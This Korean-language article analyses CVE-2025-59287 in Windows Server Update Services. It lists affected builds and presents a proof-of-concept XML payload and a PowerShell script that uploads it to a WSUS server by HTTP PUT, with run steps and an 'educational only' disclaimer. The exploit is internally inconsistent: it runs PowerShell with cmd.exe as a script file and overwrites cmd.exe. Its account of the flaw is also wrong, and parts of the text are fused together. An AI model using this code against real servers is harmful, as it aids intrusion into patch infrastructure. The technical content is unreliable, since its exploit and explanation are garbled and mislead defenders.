
CVE-2025-59287에 대한 기술 분석 및 개념 증명 익스플로잇으로, 안전하지 않은 역직렬화를 통한 Windows Server Update Services의 치명적인 RCE 취약점이며, 영향을 받는 빌드와 완화 단계를 포함합니다.
CVE-2025-59287은 Windows Server Update Services(WSUS)의 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화로 인해 발생하는 치명적인 RCE 취약점입니다. 이 취약점으로 인해 원격 공격자가 인증 없이 임의 코드를 실행할 수 있습니다. 활발한 악용이 관찰되고 있어 즉각적인 패치 적용이 권고됩니다.
CVE‑2025‑59287 – Windows Server Update Services(WSUS)의 원격 코드 실행 위협
By Mark Mallia
Microsoft의 Windows Server Update Services(WSUS)는 모든 Microsoft Windows Server 플랫폼의 패치 관리의 핵심입니다. WSUS는 Microsoft의 업데이트 카탈로그에서 업데이트를 가져와 검증한 후 네트워크의 모든 서버에 배포합니다. CVE‑2025‑59287로 식별된 이 취약점은 WSUS 내부의 안전하지 않은 역직렬화 루틴을 악용하여 공격자가 업데이트 피드에 임의의 XML 콘텐츠를 주입할 수 있게 합니다. WSUS는 소스 경로나 명령 데이터에 대한 검증 없이 페이로드를 처리하므로, 공격자는 임의의 파일 이름과 경로를 제공하여 대상 서버에서 완전한 원격 코드 실행을 유발할 수 있습니다.
이것이 중요한 이유:
| 제품 버전 | 영향을 받는 빌드 |
|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(환경이 다른 패치 빌드를 사용하는 경우, 해당 범위에 맞게 조정하십시오.)
System.Xml.Linq.XElement로 역직렬화합니다.<SourcePath> 요소에 임의의 값을 넣을 수 있으며, 이 값은 절대 경로로 디스크에 기록됩니다.<Command> 태그 내부의 콘텐츠는 WSUS가 스트림을 처리할 때 PowerShell에 의해 실행되어 완전한 원격 코드 실행을 제공합니다.다음은 취약한 서버에 업로드할 XML 페이로드입니다.
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
다음 스크립트는 XML 페이로드를 생성하고, HTTP PUT을 통해 WSUS 인스턴스에 업로드하며, 문제 해결을 위한 로그 파일을 남깁니다.
# --------------------------------------------------
# File: wsus‑exploit.ps1
# Purpose: Generate malicious UpdateStream.xml,
# upload it to the WSUS server,
# trigger the feed.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# Build the XML payload
Build-Xml -file $XmlFile
# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload complete – WSUS should now process the stream."
winver.exe를 실행하여 빌드가 위 범위에 해당하는지 확인합니다.wsus‑exploit.ps1을 WSUS 인스턴스에 접근할 수 있는 머신에 복사하고, 다른 경로나 포트를 사용하는 경우 $TargetUrl을 수정합니다.C:\Windows\System32\cmd.exe 파일이 나타나고 예상 페이로드가 포함되어 있는지 확인합니다.여기에 제공된 정보와 악용 코드는 교육 목적으로만 제공됩니다. 자신의 WSUS 환경에 대해 이 테스트를 실행할 권한이 있는지 확인하고, 프로덕션 시스템에 변경 사항을 배포할 때 모든 관련 보안 모범 사례 지침을 따르십시오.